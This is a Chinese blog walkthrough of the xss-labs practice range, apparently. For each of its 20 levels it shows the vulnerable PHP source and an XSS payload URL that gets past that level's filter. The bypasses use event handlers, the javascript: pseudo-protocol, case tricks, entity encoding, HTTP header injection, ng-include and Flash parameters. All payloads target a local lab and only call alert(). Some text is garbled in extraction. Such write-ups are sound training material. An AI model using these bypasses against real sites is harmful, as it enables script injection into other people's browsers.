xss-labs-master靶机1-20关解题思路

xss-labs-master靶机1-20关解题思路

xss-labs-master靶机是xss-labs作者在github上发布的后来不知道为什么就把它删了,可能是因为这

个靶机属于静态页面有一个通用的推广方式(具体在后面),不过还是希望读者使用实战中的攻击手段学 习,这个靶机是对XSS漏洞的专项练习, 一共有二十关,也是小白的看门砖吧!比如现在的我!大

哭!!!!

在这篇文章中,默认读者已有WEB渗透测试相关知识,以及PHP、 HTML等相关知识。

xss-labs-master通关宝典

• o 第一关 不使用过滤器 第二关 闭合标签

第三关 单引号闭合并添加事件 第四关 双引号闭合并添加事件 第五关 javascript伪协议

第六关 大小写绕过

第七关 双重书写 第八关 字符实体

第九关 检测关键字存在 第十关 隐藏信息

第十一关 Referer信息

第十二关 user-agent信息 第十三关 Cookie信息

第十四关 exif xss

第十五关 ng-include属性 第十六关 空格==回车

第十七关 合二为一

第十八关 是作者偷懒了吗?还是我悟不出其中的精髓??????? 第十九关

第二十关

万能通关秘籍

第一关 不使用过滤器

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>

<head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level2.php?keyword=test"; }

</script>

<title>欢迎来到level1</title>

</head> <body>

<h1 align=center>欢迎来到level1</h1> <?php

ini_set("display_errors", 0); $str = $_GET["name"];

echo "<h2 align=center>欢迎用户".$str."</h2>"; ?>

<center><img src=level1.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body> </html>

1234567891011121314151617181920212223242526

b、分析

这关只给一个图片,根据图片可以知道这关容易,而链接上有一个参数name ,说明突破口再name这 里,根据代码我们可以看出,代码是将用户以GET方式提交的参数name ,没有做任何防御措施就直接 显示在HTML页面中,所以将使用 alert('xss') 放入name变量中即可。

c、方法

这里就是直接用脚本的就行,没有方法可言。

d、注入语句

http://靶机网址/xss-labs-master/level1.php?name=<script>alert(/xss/)</script>

1

第二关 闭合标签

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level3.php?writing=wait"; }

</script>

<title>欢迎来到level2</title> </head>

<body>

<h1 align=center>欢迎来到level2</h1> <?php

ini_set("display_errors", 0); $str = $_GET["keyword"];

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form action=level2.php method=GET>

<input name=keyword value="'.$str.'">

<input type=submit name=submit value="搜索"/>

</form>

</center>'; ?>

<center><img src=level2.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body> </html>

123456789101112131415161718192021222324252627282930

b、分析

这关我们可以发现多了一个文本框,我们先用之前的语句填入文本框里面,发现不行,什么有了防御机 制,那么我们看看源代码,它将我们输入的值给了value,然后它再传给了一个 htmlspecialchars 函 数,这个函数是把预定义的字符转换为 HTML 实体,说明把标签吃掉了,那么我们的突破口就在value这 里,我们可以通过闭合标签,使得这一句就闭合掉,即在 alert('xss') 前面加 "> ,对前面input标签进 行闭合。

htmlspecialchars 函数快查链接: 这里

c、方法

这里就是我们使用闭合的方法,就是闭合了``标签,产生新的执行语句。

d、注入语句

http://192.168.226.128/xss-labs-master/level2.php?keyword="><script>alert(/xss/) </script>

1

第三关 单引号闭合并添加事件

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level4.php?keyword=try harder!"; }

</script>

<title>欢迎来到level3</title> </head>

<body>

<h1 align=center>欢迎来到level3</h1> <?php

ini_set("display_errors", 0); $str = $_GET["keyword"];

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 .</h2>"." <center>

<form action=level3.php method=GET>

<input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 />

</form>

</center>"; ?>

<center><img src=level3.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body> </html>

123456789101112131415161718192021222324252627282930

b、分析

这个题就是变了个图片,感觉也没什么的,先用之前的代码测试一下,发现没用,看看源码,发现这里 不但对 " 号做了防御,而这小子居然在value这里也加了 htmlspecialchars 函数,还是逃不过啊!那 就刚憋,虽然对了双引号做了防御,但是却放行单引号,这种情况我们可以通过事件标签触发表单执

行。

c、方法

这种情况我们可以通过事件标签触发表单执行,即通过使用HTML的事件知识对其注入。 一些常用的HTML标签事件: 这里

d、注入语句

http://192.168.226.128/xss-labs-master/level3.php? keyword='οnmοuseοver='alert(/xss/)

1

第四关 双引号闭合并添加事件

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level5.php?keyword=find a way out!"; }

</script>

<title>欢迎来到level4</title>

</head> <body>

<h1 align=center>欢迎来到level4</h1> <?php

ini_set("display_errors", 0); $str = $_GET["keyword"];

$str2=str_replace(">","",$str); $str3=str_replace("<","",$str2);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form action=level4.php method=GET>

<input name=keyword value="'.$str3.'">

<input type=submit name=submit value=搜索 />

</form>

</center>'; ?>

<center><img src=level4.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";

?>

</body> </html>

123456789101112131415161718192021222324252627282930313233

b、分析

这关和之前几个感觉差不多,同样不能用之前套路了,看看源码,发现这里不但对 ‘ 号做了防御,他这 次不对value进行过滤,而是用 str_replace 函数直接过滤掉 <> ,但是不知道是不是有疏忽,对了单 引号做了防御,但是却放行双引号,这种情况我们还是可以通过事件标签触发表单执行。

str_replacestr 函数快查:在此

c、方法

这种情况我们可以通过事件标签触发表单执行,不过需要的双引号改成单引号。

d、注入语句

http://192.168.226.128/xss-labs-master/level3.php? keyword="οnmοuseοver="alert(/xss/)

1

第五关 javascript伪协议

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level6.php?keyword=break it out!"; }

</script>

<title>欢迎来到level5</title> </head>

<body>

<h1 align=center>欢迎来到level5</h1> <?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form action=level5.php method=GET>

<input name=keyword value="'.$str3.'">

<input type=submit name=submit value=搜索 />

</form>

</center>'; ?>

<center><img src=level5.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";

?>

</body> </html>

1234567891011121314151617181920212223242526272829303132

b、分析

这关和往常一样,使用之前的语句是不行的,根据源代码,我们发现它对<script和on的都做了特殊处 理,而且还使用 strtolower 函数对所有字符串变成小写,单引号也不可用了,但是我们还是可以闭合 语句,通过双引号加>闭合,但是闭合归闭合,却没有用来触发的条件呀!我们这时候可以使用

javascript伪协议以及标签进行注入。 javascript伪协议快查: 在此

c、方法

使用javascript伪协议以及标签进行注入,就是在代码前面加上javascript:,在这里的标签不一定只是链 接标签,还可以其他标签,可以自己了解。

d、注入语句

http://192.168.226.128/xss-labs-master/level5.php?keyword="><a href='javascript:alert(/xss/)'>xss

1

第六关 大小写绕过

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level7.php?keyword=move up!"; }

</script>

<title>欢迎来到level6</title> </head>

<body>

<h1 align=center>欢迎来到level6</h1> <?php

ini_set("display_errors", 0); $str = $_GET["keyword"];

$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form action=level6.php method=GET>

<input name=keyword value="'.$str6.'">

<input type=submit name=submit value=搜索 />

</form>

</center>'; ?>

<center><img src=level6.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";

?>

</body> </html>

1234567891011121314151617181920212223242526272829303132333435

b、分析

这题我们可以看出虽然对on、src、data、 href、<script进行过滤,但是没有了对大写字母进行修改, 所以我们可以使用单引号闭合,加大小写的脚本或者标签方法注入。

c、方法

可以使用单引号闭合,加大小写的脚本或者标签方法注入。

d、注入语句

http://192.168.226.128/xss-labs-master/level6.php?keyword="><scRipt>alert(/xss/) </scRipt>

1

第七关 双重书写

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level8.php?keyword=nice try!"; }

</script>

<title>欢迎来到level7</title> </head>

<body>

<h1 align=center>欢迎来到level7</h1> <?php

ini_set("display_errors", 0);

$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str);

$str3=str_replace("on","",$str2);

$str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form action=level7.php method=GET>

<input name=keyword value="'.$str6.'">

<input type=submit name=submit value=搜索 />

</form>

</center>'; ?>

<center><img src=level7.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";

?>

</body> </html>

1234567891011121314151617181920212223242526272829303132333435

b、分析

我们可以看到输入比上一题加深了大小写过滤的的难度,但是它却把特殊语义的字符串修改成了空字符 串,我们就可以使用特殊语义重构的方法进行注入。

c、方法

可以使用特殊语义重构的方法进行注入,就是在特殊语义内在加入特殊语义。

d、注入语句

http://192.168.226.128/xss-labs-master/level6.php?keyword="> <scrscriptipt>alert(/xss/)</scrscriptipt>

1

第八关 字符实体

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level9.php?keyword=not bad!"; }

</script>

<title>欢迎来到level8</title> </head>

<body>

<h1 align=center>欢迎来到level8</h1> <?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6);

echo '<center>

<form action=level8.php method=GET>

<input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 />

</form>

</center>'; ?>

<?php

echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; ?>

<center><img src=level8.jpg></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";

?>

</body> </html>

123456789101112131415161718192021222324252627282930313233343536373839

b、分析

这次更狠直接把上一题的疏忽补全,这是我们用之前的方法是肯定不行了,那么我们就需要引入编码绕 过的概念,由于会被htmlspecialchars函数转义,所以可将所有字符编码为HTML实体,从而绕过。

HTML实体速查: 在此 HTML实体转换器: 在此

c、方法

使用编码绕过概念,就是将所有字符编码为HTML实体。

d、注入语句

javasc&#114;ipt:alert(/xss/)

1

第九关 检测关键字存在

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level10.php?keyword=well done!"; }

</script>

<title>欢迎来到level9</title> </head>

<body>

<h1 align=center>欢迎来到level9</h1> <?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6);

echo '<center>

<form action=level9.php method=GET>

<input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 />

</form>

</center>'; ?>

<?php

if(false===strpos($str7,'http://')) {

echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; }

else

{

echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; }

?>

<center><img src=level9.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";

?>

</body> </html>

12345678910111213141516171819202122232425262728293031323334353637383940414243444

546

b、分析

我们发现这里多了一个 strpos 函数,这个函数是用来查找指定文本在字符串中第一次出现的位置,这 时候我们就不得不在代码里加入 http:// ,但是并没有过滤HTML实体编码,所以我们还是使用编码绕 过。

strpos 函数速查:在此

c、方法

使用过滤HTML实体编码,但是由于需要加入http://,肯定不能在http://后面加代码,必须在前面,并 且将http://注释掉才能执行。

d、注入语句

javasc&#114;ipt:alert(/xss/)//http://

1

第十关 隐藏信息

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level11.php?keyword=good job!"; }

</script>

<title>欢迎来到level10</title> </head>

<body>

<h1 align=center>欢迎来到level10</h1> <?php

ini_set("display_errors", 0); $str = $_GET["keyword"];

$str11 = $_GET["t_sort"];

$str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form id=search>

<input name="t_link" value="'.'" type="hidden">

<input name="t_history" value="'.'" type="hidden">

<input name="t_sort" value="'.$str33.'" type="hidden"> </form>

</center>'; ?>

<center><img src=level10.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body> </html>

12345678910111213141516171819202122232425262728293031323334

b、分析

这一题有点难度,我们使用之前的方法发现,无论怎么样都没用,那么我们来看看源码,发现有一个 t_sort参数,是需要我们在后台才能找到的,而这个参数其实并没有加什么特殊防御,只是过滤了尖括 号,所以我们可以使用触发事件标签进行。

c、方法

使用触发事件标签进行,是在URL上加入t_sort值=触发事件,注意用的是双引号扣起来。

d、注入语句

http://192.168.226.128/xss-labs-master/level10.php? keyword=1&t_sort="οnmοuseοver="alert(/xss/)

#注意这里由于没有文本框,需要在浏览器后台的<input name="t_sort" value="'.$str33.'"

type="hidden">这行的type值改成text

12

第十一关 Referer信息

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8">

<script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level12.php?keyword=good job!"; }

</script>

<title>欢迎来到level11</title>

</head> <body>

<h1 align=center>欢迎来到level11</h1> <?php

ini_set("display_errors", 0); $str = $_GET["keyword"];

$str00 = $_GET["t_sort"];

$str11=$_SERVER['HTTP_REFERER'];

$str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form id=search>

<input name="t_link" value="'.'" type="hidden">

<input name="t_history" value="'.'" type="hidden">

<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden">

</form>

</center>'; ?>

<center><img src=level11.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body> </html>

123456789101112131415161718192021222324252627282930313233343536

b、分析

我们初看,感觉和上一关差不多,但是看源码发现有一个 $str11=$_SERVER['HTTP_REFERER'];字 段,并且只对其进行双引号过滤,而HTTP_REFERER是获取http请求头中的Referer字段,就是我们上 一级网页的url,那么我们就需要使用到抓包工具进行抓包,修改Referer字段。

修改前

修改后

c、方法

通过使用burpsuite软件对Referer字段进行修改恶意代码。

d、注入语句

Referer: "οnmοuseοver="alert(/xss/)

1

第十二关 user-agent信息

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level13.php?keyword=good job!"; }

</script>

<title>欢迎来到level12</title> </head>

<body>

<h1 align=center>欢迎来到level12</h1> <?php

ini_set("display_errors", 0); $str = $_GET["keyword"];

$str00 = $_GET["t_sort"];

$str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 . </h2>".'<center>

<form id=search>

<input name="t_link" value="'.'" type="hidden">

<input name="t_history" value="'.'" type="hidden">

<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden">

</form>

</center>'; ?>

<center><img src=level12.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body> </html>

123456789101112131415161718192021222324252627282930313233343536

b、分析

这一题和上一题一样的手法,只是字段改变了是在http请求头中的user-agent字段上。

c、方法

通过使用burpsuite软件对user-agent字段进行修改恶意代码。

d、注入语句

User-Agent: "οnmοuseοver="alert(/xss/)

1

第十三关 Cookie信息

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level14.php"; }

</script>

<title>欢迎来到level13</title>

</head> <body>

<h1 align=center>欢迎来到level13</h1> <?php

setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0);

$str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"];

$str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果 .

</h2>".'<center> <form id=search>

<input name="t_link" value="'.'" type="hidden">

<input name="t_history" value="'.'" type="hidden">

<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">

<input name="t_cook" value="'.$str33.'" type="hidden">

</form>

</center>'; ?>

<center><img src=level13.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body> </html>

12345678910111213141516171819202122232425262728293031323334353637

b、分析

这一题和上两题一样的手法,改变的是在http请求头中的Cookie字段上。

c、方法

通过使用burpsuite软件对Cookie字段进行修改恶意代码。

d、注入语句

Cookie: user="οnmοuseοver="alert(/xss/)

1

第十四关 exif xss

a、后台代码

<html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>欢迎来到level14</title>

</head> <body>

<h1 align=center>欢迎来到level14</h1>

<center><iframe name="leftframe" marginwidth=10 marginheight=10

src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a

href=/xss/level15.php?src=1.gif>点我进level15</a></center>

</body> </html>

12345678910

b、分析

这啥嘛,空白???? what???等了一会,302,需要跳到一个新的网站,才能打,但是这个网站始

终进不去,所以跳过吧!不过听网上说是exif xss????????????????这是啥 子?????

度娘:链接

搜嘎

第十五关 ng-include属性

a、后台代码

<html ng-app> <head>

<meta charset="utf-8">

<script src="angular.min.js"></script> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level16.php?keyword=test"; }

</script>

<title>欢迎来到level15</title> </head>

<h1 align=center>欢迎来到第15关, 自己想个办法走出去吧!</h1>

<p align=center><img src=level15.png></p> <?php

ini_set("display_errors", 0); $str = $_GET["src"];

echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>

1234567891011121314151617181920

b、分析

咋一看这关好像没什么漏洞来着,但是如果我们仔细看后台,发现有一个``语句, ng-include指令一般 用于包含外部的 HTML 文件, ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况 下,包含的文件需要包含在同一个域名下。很有可能这个指令就是突破口,我们看看源代码,果然有

ng-include,并且对其输入做了过滤,所以我们可以包含一个有漏洞的页面,那么不就破解了吗?

c、方法

利用ng-include指令的特性包含一个有漏洞的html文件,注意这里有对尖括号的过滤。 ng-include是什么?: 链接

d、注入语句

http://192.168.226.128/xss-labs-master/level15.php?

src='http://192.168.226.128/xss-labs-master/level1.php?name="><a href="javascript:alert(/xss/)">xss'

1

第十六关 空格==回车

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level17.php?arg01=a&arg02=b"; }

</script>

<title>欢迎来到level16</title>

</head> <body>

<h1 align=center>欢迎来到level16</h1> <?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","&nbsp;",$str); $str3=str_replace(" ","&nbsp;",$str2);

$str4=str_replace("/","&nbsp;",$str3); $str5=str_replace(" ","&nbsp;",$str4); echo "<center>".$str5."</center>";

?>

<center><img src=level16.png></center> <?php

echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";

?>

</body> </html>

1234567891011121314151617181920212223242526272829

b、分析

这一关用的防御方式并不复杂,但是却考虑的比较周全,空格、反斜杠、 script都被str_replace函数替 换成&nbsp了,但是在HTML中可以将%0a或者%0D当成空格使用。

c、方法

使用替身大法,就是将%0a或者%0D当成空格使用,在HTML中这样是合法的。

d、注入语句

http://192.168.226.128/xss-labs-master/level16.php?keyword= <a%0Ahref='javas%0Acript:alert("xss")'>xss

1

第十七关 合二为一

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!"); }

</script>

<title>欢迎来到level17</title> </head>

<body>

<h1 align=center>欢迎来到level17</h1> <?php

ini_set("display_errors", 0); echo "<embed

src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg 02"])." width=100% heigth=100%>";

?>

<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> </body>

</html>

1234567891011121314151617181920

b、分析

这一关有两个参数: arg01、arg02,当我们发送的时候,发现他们是会互相拼接起来的,那么我们就容 易想到这里会不会就是突破口,看看源码,发现这两个参数是在embed上, embed标签定义嵌入的内 容,并且做了尖括号过滤,那么我们可以加入一个属性进去,生成恶意代码。

c、方法

利用arg01、arg02参数进行属性添加,产生恶意代码。

注意:这个题有些浏览器不会出现图片 d、注入语句

http://192.168.111.138/xss-labs-master/level17.php?arg01= onmousemove&arg02=javascript:alert(/xss/)

#注意在arg01这里要添加空格,不然就是将属性与之前的xsf01.swf?进行连接了

12

第十八关 是作者偷懒了吗?还是我悟不出其中的精 髓???????

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level19.php?arg01=a&arg02=b"; }

</script>

<title>欢迎来到level18</title> </head>

<body>

<h1 align=center>欢迎来到level18</h1> <?php

ini_set("display_errors", 0);

echo "<embed

src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg 02"])." width=100% heigth=100%>";

?>

</body> </html>

1234567891011121314151617181920

b、分析

这题和上一题的题目是基本一样的思路,只是换了不一样的图片。

c、方法

利用arg01、arg02参数进行属性添加,产生恶意代码。

d、注入语句

http://192.168.111.138/xss-labs-master/level18.php?arg01= onmousemove&arg02=javascript:alert(/xss/)

1

第十九关

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level20.php?arg01=a&arg02=b"; }

</script>

<title>欢迎来到level19</title>

</head> <body>

<h1 align=center>欢迎来到level19</h1> <?php

ini_set("display_errors", 0); echo '<embed

src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["ar g02"]).'" width=100% heigth=100%>';

?>

</body> </html>

1234567891011121314151617181920

b、分析

我们使用之前的方法发现,没有起到作用,说明源码已经改变,但是我们发现语句间被单引号垄断并且 只能规范书写,不仅对引号做了实体编码处理,而且将关键字当作普通文本,但是既然是19关(估计这 里要是再现实中,可能就视为无漏洞了吧,个人感觉),说明还是有漏洞,我们回去看看页面的图片,发 现有说兼容性问题,那么就涉及到版本问题,我们可以将xsf03.swf进行反编译,得到version未定义,

加上swf这个文件的特性可以传入参数。

c、方法

利用图片信息以及swf特性进行猜测或者flash反编译得到version参数未定义,从而传入恶意代码。

d、注入语句

http://192.168.111.138/xss-labs-master/level19.php?arg01=version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

1

第二十关

a、后台代码

<!DOCTYPE html><!--STATUS OK--><html> <head>

<meta http-equiv="content-type" content="text/html;charset=utf-8"> <script>

window.alert = function() {

confirm("完成的不错!");

window.location.href="level21.php?arg01=a&arg02=b"; }

</script>

<title>欢迎来到level20</title> </head>

<body>

<h1 align=center>欢迎来到level20</h1> <?php

ini_set("display_errors", 0); echo '<embed

src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["ar g02"]).'" width=100% heigth=100%>';

?>

</body>

</html>

1234567891011121314151617181920

b、分析

这题和19题一模一样,就是插件不同。

c、方法

和之前几道题差不多。

http://192.168.111.138/xss-labs-master/level19.php?

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a= !alert(1)//&width&height 1

万能通关秘籍

福利:有一种通用的通关方式,那就是我们如果在页面后台添加一个事件呢?就是在后台的图片处直接 添加。

posted @   zdytom  阅读(40)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效
点击右上角即可分享
微信分享提示